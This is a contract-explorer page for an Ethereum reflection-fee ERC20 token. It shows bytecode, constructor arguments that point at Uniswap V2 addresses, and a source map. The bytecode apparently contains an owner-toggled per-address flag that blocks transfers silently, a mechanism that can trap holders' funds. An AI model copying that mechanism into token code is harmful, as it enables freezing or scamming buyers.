7884611051565b505050915050809150505b92915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c2457600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c6f565b610c6c600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461079c565b90505b919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cdc90612eb4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0890612eb4565b8015610d555780601f10610d2a57610100808354040283529160200191610d55565b820191906000526020600020905b815481529060010190602001808311610d3857829003601f168201915b5050505050905090565b60048054610d6c90612eb4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9890612eb4565b8015610de55780601f10610dba57610100808354040283529160200191610de5565b820191906000526020600020905b815481529060010190602001808311610dc857829003601f168201915b505050505081565b6000610eb0610dfa611049565b84610eab856040518060600160405280602581526020016136ab6025913960056000610e24611049565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185c9092919063ffffffff16565b611107565b6001905092915050565b6000610ece610ec7611049565b84846112d2565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610ff783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118eb565b905092915050565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061185c565b905092915050565b600033905090565b60008060008060008060006110658861194e565b9150915060006110736118c0565b905060008060006110858c86866119a1565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846110b891906130a8565b9050838110156110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f49061314a565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e906131dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de9061326e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c59190612c75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990613300565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990613392565b60405180910390fd5b600081116113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613424565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114965750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114df57600081146114de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d59061346a565b60405180910390fd5b5b6114e7610ca4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115525750611523610ca4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611567576115628383836119ff565b611857565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561160a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561161f5761161a838383611d75565b611856565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116d7576116d2838383611fc8565b611855565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561177b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117905761178b83838361221b565b611854565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118325750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611847576118428383836123d9565b611853565b61185283838361221b565b5b5b5b5b5b505050565b60008383111582906118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b9190612b46565b60405180910390fd5b50600083856118b3919061348a565b9050809150509392505050565b60008060006118cd6126c1565b915091506118e48183610fb590919063ffffffff16565b9250505090565b60008083118290611932576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119299190612b46565b60405180910390fd5b506000838561194191906134ed565b9050809150509392505050565b600080600061197b602f61196d6103e887610fb590919063ffffffff16565b61299090919063ffffffff16565b905060006119928286610fff90919063ffffffff16565b90508082935093505050915091565b6000806000806119ba858861299090919063ffffffff16565b905060006119d1868861299090919063ffffffff16565b905060006119e88284610fff90919063ffffffff16565b905082818395509550955050505093509350939050565b6000611a0a82611051565b505050509050611a6281600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b8d57611b4982600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611bdf81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0a57611cc682600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d679190612c75565b60405180910390a350505050565b6000806000806000611d8686611051565b94509450945094509450611de286600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7785600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0c84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f598382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fb69190612c75565b60405180910390a35050505050505050565b6000806000806000611fd986611051565b9450945094509450945061203585600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ca82600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215f84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ac8382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122099190612c75565b60405180910390a35050505050505050565b600080600080600061222c86611051565b9450945094509450945061228885600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231d84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236a8382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123c79190612c75565b60405180910390a35050505050505050565b60008060008060006123ea86611051565b9450945094509450945061244686600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124db85600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061257082600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260584600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126528382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126af9190612c75565b60405180910390a35050505050505050565b600080600060065490506000683635c9adc5dea00000905060005b600d80549050811015612945578260086000600d84815481106127025761270161351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806127f057508160096000600d84815481106127885761278761351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561280e57600654683635c9adc5dea000009450945050505061298c565b61289e60086000600d84815481106128295761282861351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610fff90919063ffffffff16565b925061293060096000600d84815481106128bb576128ba61351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fff90919063ffffffff16565b9150808061293d9061354d565b9150506126dc565b50612964683635c9adc5dea00000600654610fb590919063ffffffff16565b82101561298357600654683635c9adc5dea0000093509350505061298c565b81819350935050505b9091565b6000808314156129a35760009050612a05565b600082846129b19190613596565b90508284826129c091906134ed565b14612a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f790613662565b60405180910390fd5b809150505b92915050565b612a2082600654610fff90919063ffffffff16565b600681905550612a3b81600e546110a990919063ffffffff16565b600e819055505050565b600080fd5b6000819050919050565b612a5d81612a4a565b8114612a6857600080fd5b50565b600081359050612a7a81612a54565b92915050565b600060208284031215612a9657612a95612a45565b5b6000612aa484828501612a6b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae7578082015181840152602081019050612acc565b83811115612af6576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b1882612aad565b612b228185612ab8565b9350612b32818560208601612ac9565b612b3b81612afc565b840191505092915050565b60006020820190508181036000830152612b608184612b0d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b9382612b68565b9050919050565b612ba381612b88565b82525050565b6000602082019050612bbe6000830184612b9a565b92915050565b612bcd81612b88565b8114612bd857600080fd5b50565b600081359050612bea81612bc4565b92915050565b60008060408385031215612c0757612c06612a45565b5b6000612c1585828601612bdb565b9250506020612c2685828601612a6b565b9150509250929050565b60008115159050919050565b612c4581612c30565b82525050565b6000602082019050612c606000830184612c3c565b92915050565b612c6f81612a4a565b82525050565b6000602082019050612c8a6000830184612c66565b92915050565b600080600060608486031215612ca957612ca8612a45565b5b6000612cb786828701612bdb565b9350506020612cc886828701612bdb565b9250506040612cd986828701612a6b565b9150509250925092565b600060ff82169050919050565b612cf981612ce3565b82525050565b6000602082019050612d146000830184612cf0565b92915050565b600060208284031215612d3057612d2f612a45565b5b6000612d3e84828501612bdb565b91505092915050565b612d5081612c30565b8114612d5b57600080fd5b50565b600081359050612d6d81612d47565b92915050565b60008060408385031215612d8a57612d89612a45565b5b6000612d9885828601612a6b565b9250506020612da985828601612d5e565b9150509250929050565b60008060408385031215612dca57612dc9612a45565b5b6000612dd885828601612bdb565b9250506020612de985828601612bdb565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612e4f602c83612ab8565b9150612e5a82612df3565b604082019050919050565b60006020820190508181036000830152612e7e81612e42565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ecc57607f821691505b60208210811415612ee057612edf612e85565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612f42602a83612ab8565b9150612f4d82612ee6565b604082019050919050565b60006020820190508181036000830152612f7181612f35565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612fae602083612ab8565b9150612fb982612f78565b602082019050919050565b60006020820190508181036000830152612fdd81612fa1565b9050919050565b6000604082019050612ff96000830185612b9a565b6130066020830184612c3c565b9392505050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000613043601f83612ab8565b915061304e8261300d565b602082019050919050565b6000602082019050818103600083015261307281613036565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130b382612a4a565b91506130be83612a4a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f3576130f2613079565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613134601b83612ab8565b915061313f826130fe565b602082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131c6602483612ab8565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613258602283612ab8565b9150613263826131fc565b604082019050919050565b600060208201905081810360008301526132878161324b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132ea602583612ab8565b91506132f58261328e565b604082019050919050565b60006020820190508181036000830152613319816132dd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061337c602383612ab8565b915061338782613320565b604082019050919050565b600060208201905081810360008301526133ab8161336f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061340e602983612ab8565b9150613419826133b2565b604082019050919050565b6000602082019050818103600083015261343d81613401565b9050919050565b50565b6000613454600083612ab8565b915061345f82613444565b600082019050919050565b6000602082019050818103600083015261348381613447565b9050919050565b600061349582612a4a565b91506134a083612a4a565b9250828210156134b3576134b2613079565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134f882612a4a565b915061350383612a4a565b925082613513576135126134be565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061355882612a4a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358b5761358a613079565b5b600182019050919050565b60006135a182612a4a565b91506135ac83612a4a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135e5576135e4613079565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061364c602183612ab8565b9150613657826135f0565b604082019050919050565b6000602082019050818103600083015261367b8161363f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220328fbf414ee99120de36dd998e3b18dad8c7d6a835e100ad373a0c4f1a4400d664736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : V2factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : V2router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

1487:10784:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5136:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2819:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2307:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3560:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3096:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4312:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5942:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3005:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4910:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3729:273;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5520:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3203:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2269:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6550:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1061:79:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2910:87:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1783:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4633:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4137:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4010:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3409:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5136:376;5188:14;5205:12;:10;:12::i;:::-;5188:29;;5237:11;:19;5249:6;5237:19;;;;;;;;;;;;;;;;;;;;;;;;;5236:20;5228:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;5317:15;5340:19;5351:7;5340:10;:19::i;:::-;5316:43;;;;;;5388:28;5408:7;5388;:15;5396:6;5388:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;5370:7;:15;5378:6;5370:15;;;;;;;;;;;;;;;:46;;;;5437:20;5449:7;5437;;:11;;:20;;;;:::i;:::-;5427:7;:30;;;;5481:23;5496:7;5481:10;;:14;;:23;;;;:::i;:::-;5468:10;:36;;;;5177:335;;5136:376;:::o;2819:83::-;2856:13;2889:5;2882:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2819:83;:::o;2307:30::-;;;;;;;;;;;;;:::o;3560:161::-;3635:4;3652:39;3661:12;:10;:12::i;:::-;3675:7;3684:6;3652:8;:39::i;:::-;3709:4;3702:11;;3560:161;;;;:::o;3096:95::-;3149:7;1723:19;3169:14;;3096:95;:::o;4312:313::-;4410:4;4427:36;4437:6;4445:9;4456:6;4427:9;:36::i;:::-;4474:121;4483:6;4491:12;:10;:12::i;:::-;4505:89;4543:6;4505:89;;;;;;;;;;;;;;;;;:11;:19;4517:6;4505:19;;;;;;;;;;;;;;;:33;4525:12;:10;:12::i;:::-;4505:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;4474:8;:121::i;:::-;4613:4;4606:11;;4312:313;;;;;:::o;5942:253::-;6008:7;6047;;6036;:18;;6028:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6112:19;6135:10;:8;:10::i;:::-;6112:33;;6163:24;6175:11;6163:7;:11;;:24;;;;:::i;:::-;6156:31;;;5942:253;;;:::o;3005:83::-;3046:5;3071:9;;;;;;;;;;;3064:16;;3005:83;:::o;4910:218::-;4998:4;5015:83;5024:12;:10;:12::i;:::-;5038:7;5047:50;5086:10;5047:11;:25;5059:12;:10;:12::i;:::-;5047:25;;;;;;;;;;;;;;;:34;5073:7;5047:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;5015:8;:83::i;:::-;5116:4;5109:11;;4910:218;;;;:::o;3729:273::-;895:12:1;:10;:12::i;:::-;885:22;;:6;;;;;;;;;;:22;;;877:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3836:4:2::1;3806:34;;:16;:26;3823:8;3806:26;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;3802:193;;;3872:5;3843:16;:26;3860:8;3843:26;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;3802:193;;;3924:4;3895:16;:26;3912:8;3895:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;3945:48;3956:8;3966:16;:26;3983:8;3966:26;;;;;;;;;;;;;;;;;;;;;;;;;3945:48;;;;;;;:::i;:::-;;;;;;;;3802:193;3729:273:::0;:::o;5520:414::-;5610:7;1723:19;5638:7;:18;;5630:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5708:17;5703:224;;5743:15;5766:19;5777:7;5766:10;:19::i;:::-;5742:43;;;;;;5807:7;5800:14;;;;;5703:224;5839:23;5869:19;5880:7;5869:10;:19::i;:::-;5837:51;;;;;;5910:15;5903:22;;;5520:414;;;;;:::o;3203:198::-;3269:7;3293:11;:20;3305:7;3293:20;;;;;;;;;;;;;;;;;;;;;;;;;3289:49;;;3322:7;:16;3330:7;3322:16;;;;;;;;;;;;;;;;3315:23;;;;3289:49;3356:37;3376:7;:16;3384:7;3376:16;;;;;;;;;;;;;;;;3356:19;:37::i;:::-;3349:44;;3203:198;;;;:::o;2269:31::-;;;;;;;;;;;;;:::o;6550:93::-;6598:7;6625:10;;6618:17;;6550:93;:::o;1061:79:1:-;1099:7;1126:6;;;;;;;;;;;1119:13;;1061:79;:::o;2910:87:2:-;2949:13;2982:7;2975:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2910:87;:::o;1783:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4633:269::-;4726:4;4743:129;4752:12;:10;:12::i;:::-;4766:7;4775:96;4814:15;4775:96;;;;;;;;;;;;;;;;;:11;:25;4787:12;:10;:12::i;:::-;4775:25;;;;;;;;;;;;;;;:34;4801:7;4775:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;4743:8;:129::i;:::-;4890:4;4883:11;;4633:269;;;;:::o;4137:167::-;4215:4;4232:42;4242:12;:10;:12::i;:::-;4256:9;4267:6;4232:9;:42::i;:::-;4292:4;4285:11;;4137:167;;;;:::o;4010:115::-;4067:4;4091:16;:26;4108:8;4091:26;;;;;;;;;;;;;;;;;;;;;;;;;4084:33;;4010:115;;;:::o;3409:143::-;3490:7;3517:11;:18;3529:5;3517:18;;;;;;;;;;;;;;;:27;3536:7;3517:27;;;;;;;;;;;;;;;;3510:34;;3409:143;;;;:::o;1766:132:0:-;1824:7;1851:39;1855:1;1858;1851:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1844:46;;1766:132;;;;:::o;521:136::-;579:7;606:43;610:1;613;606:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;599:50;;521:136;;;;:::o;108:114:1:-;161:15;203:10;188:26;;108:114;:::o;10545:411:2:-;10604:7;10613;10622;10631;10640;10661:23;10686:12;10702:20;10714:7;10702:11;:20::i;:::-;10660:62;;;;10733:19;10756:10;:8;:10::i;:::-;10733:33;;10778:15;10795:23;10820:12;10836:39;10848:7;10857:4;10863:11;10836;:39::i;:::-;10777:98;;;;;;10894:7;10903:15;10920:4;10926:15;10943:4;10886:62;;;;;;;;;;;;;;;;10545:411;;;;;;;:::o;200:179:0:-;258:7;278:9;294:1;290;:5;;;;:::i;:::-;278:17;;319:1;314;:6;;306:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;370:1;363:8;;;200:179;;;;:::o;6203:335:2:-;6313:1;6296:19;;:5;:19;;;;6288:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6394:1;6375:21;;:7;:21;;;;6367:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6476:6;6446:11;:18;6458:5;6446:18;;;;;;;;;;;;;;;:27;6465:7;6446:27;;;;;;;;;;;;;;;:36;;;;6514:7;6498:32;;6507:5;6498:32;;;6523:6;6498:32;;;;;;:::